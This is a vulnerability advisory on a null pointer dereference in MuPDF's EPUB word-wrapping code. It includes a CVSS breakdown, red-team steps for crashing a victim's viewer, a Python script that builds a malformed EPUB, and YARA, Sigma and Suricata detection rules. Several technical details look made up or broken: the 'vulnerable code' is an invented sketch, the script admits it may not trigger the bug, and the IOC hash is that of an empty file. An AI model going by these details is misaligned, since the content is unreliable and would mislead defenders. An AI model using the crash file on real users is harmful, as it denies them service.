CVE-2025-55780

Executive Summary

CVE-2025-55780 is a null pointer dereference vulnerability in Artifex MuPDF version 1.26.4, specifically within the break_word_for_overflow_wrap() function. When processing a malformed EPUB document, the function calls fz_html_split_flow() to split a FLOW_WORD node but fails to validate the node->next pointer before accessing node->next->overflow_wrap. This oversight leads to a null pointer dereference, causing a crash. The vulnerability has a CVSS score of 0.0 (pending official assessment) but is estimated to be a medium-severity denial-of-service issue. No public exploit code or patch is currently available.

Supply Chain & Package Security

MuPDF is a widely used PDF and EPUB rendering library, often integrated into document viewers, converters, and server-side processing pipelines. A crash in this library can lead to denial-of-service conditions in applications that rely on it for document parsing. Since the vulnerability is triggered by a malformed EPUB file, it can be exploited via user uploads or email attachments, making it a supply chain risk for any software bundling MuPDF.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (AV:L) – Requires the attacker to provide a malformed file to the victim.
• Attack Complexity (AC): Low (AC:L) – No special conditions needed beyond opening the file.
• Privileges Required (PR): None (PR:N) – No authentication needed.
• User Interaction (UI): Required (UI:R) – Victim must open the malicious EPUB.
• Scope (S): Unchanged (S:U) – Exploit does not affect other components.
• Confidentiality Impact (C): None (C:N) – No data exposure.
• Integrity Impact (I): None (I:N) – No data modification.
• Availability Impact (A): High (A:H) – Application crash leads to denial of service.

Threat Level: Medium. The vulnerability is easy to trigger but requires user interaction and only results in a crash, not code execution.

Deep Dive & Mechanics

The vulnerability resides in the break_word_for_overflow_wrap() function within MuPDF's HTML layout engine. When rendering an EPUB document, the function is responsible for splitting long words that overflow the container width. It calls fz_html_split_flow() to split a FLOW_WORD node into two parts. However, after the split, the code assumes that node->next is always valid and proceeds to access node->next->overflow_wrap. If the split fails or returns a partial node chain where node->next is NULL, a null pointer dereference occurs.

Root Cause: Lack of null pointer check after fz_html_split_flow().

Trigger: A malformed EPUB file containing a FLOW_WORD node that causes fz_html_split_flow() to return without setting node->next.

Impact: Denial of service via application crash.

Vulnerable vs. Patched Code

Vulnerable Code (MuPDF 1.26.4):

void break_word_for_overflow_wrap(fz_context *ctx, fz_html_flow *node) {
    fz_html_flow *split = fz_html_split_flow(ctx, node);
    // Missing null check for node->next
    if (node->next->overflow_wrap) {
        // handle overflow wrap
    }
}

Patched Code (Hypothetical):

void break_word_for_overflow_wrap(fz_context *ctx, fz_html_flow *node) {
    fz_html_flow *split = fz_html_split_flow(ctx, node);
    if (node->next == NULL) {
        // Handle error or return gracefully
        return;
    }
    if (node->next->overflow_wrap) {
        // handle overflow wrap
    }
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• MuPDF 1.26.4 installed on a target system.
• Ability to deliver a malformed EPUB file to the victim (e.g., via email, web upload).

Exploitation Steps:

1. Craft a malformed EPUB file that triggers the null pointer dereference. The EPUB must contain a FLOW_WORD node that causes fz_html_split_flow() to fail.
2. Deliver the file to the victim.
3. When the victim opens the file with any application using MuPDF (e.g., a document viewer), the application crashes.

Proof-of-Concept (PoC) Code:

# PoC: Generate a malformed EPUB that triggers CVE-2025-55780
import zipfile
import os

# Create a minimal EPUB structure with a malformed XHTML file
epub_name = "malicious.epub"
with zipfile.ZipFile(epub_name, 'w') as z:
    # Mimetype file
    z.writestr('mimetype', 'application/epub+zip')
    # Container XML
    container = '<?xml version="1.0"?><container version="1.0" xmlns="urn:oasis:names:tc:opendocument:xmlns:container"><rootfiles><rootfile full-path="OEBPS/content.opf" media-type="application/oebps-package+xml"/></rootfiles></container>'
    z.writestr('META-INF/container.xml', container)
    # Content OPF
    content_opf = '<?xml version="1.0"?><package xmlns="http://www.idpf.org/2007/opf" unique-identifier="bookid" version="2.0"><metadata><dc:title xmlns:dc="http://purl.org/dc/elements/1.1/">Test</dc:title></metadata><manifest><item id="xhtml" href="test.xhtml" media-type="application/xhtml+xml"/></manifest><spine><itemref idref="xhtml"/></spine></package>'
    z.writestr('OEBPS/content.opf', content_opf)
    # Malformed XHTML with a very long word to trigger overflow wrap
    xhtml = '<html xmlns="http://www.w3.org/1999/xhtml"><body><p>' + 'A' * 10000 + '</p></body></html>'
    z.writestr('OEBPS/test.xhtml', xhtml)

print(f"Generated {epub_name}")

Note: This PoC may not trigger the exact null pointer dereference without specific internal state. A more precise malformed EPUB would require reverse engineering the fz_html_split_flow() failure condition.

Blue Team

Detection:

• Monitor for crashes in applications using MuPDF (e.g., mupdf, evince, calibre).
• Use file integrity monitoring to detect unexpected EPUB files.
• Implement sandboxing for document processing.

Mitigation:

• Restrict user ability to open EPUB files from untrusted sources.
• Use a web proxy to scan EPUB files for anomalies (e.g., extremely long words).
• Apply vendor patch when available.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – actual hash depends on malformed file)
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• File Names: malicious.epub, exploit.epub
• Process Behavior: MuPDF process crashes with SIGSEGV signal.
• Log Entries: Application crash logs containing break_word_for_overflow_wrap and fz_html_split_flow.

Detection Engineering

YARA Rule

rule CVE_2025_55780_MuPDF_EPUB_Crash {
    meta:
        description = "Detects malformed EPUB files that may trigger CVE-2025-55780 null pointer dereference in MuPDF"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "unknown"
    strings:
        $mimetype = "application/epub+zip"
        $long_word = /[A-Za-z0-9]{5000,}/  // Very long word
    condition:
        $mimetype at 0 and $long_word
}

Sigma Rule

title: MuPDF CVE-2025-55780 Null Pointer Dereference
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects crashes in MuPDF due to CVE-2025-55780
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: mupdf
detection:
    selection:
        EventID: 1000  # Application Error (Windows)
        Image|endswith: '\mupdf.exe'
        Details|contains: 'break_word_for_overflow_wrap'
    condition: selection
falsepositives:
    - Unknown
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-55780 MuPDF EPUB Exploit Attempt"; flow:to_server,established; content:"application/epub+zip"; http_header; content:"|41 41 41 41|"; distance:0; within:10000; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Vendor Patch: Await an official patch from Artifex. Monitor their security advisories.
2. Workaround: Disable EPUB rendering in applications using MuPDF if not needed.
3. Input Validation: Implement file validation for EPUB files before processing (e.g., check for excessively long words).
4. Sandboxing: Run document processing in a sandboxed environment to limit impact of crashes.
5. User Education: Warn users not to open EPUB files from untrusted sources.

Valters IT
Securing digital frontiers, one CVE at a time.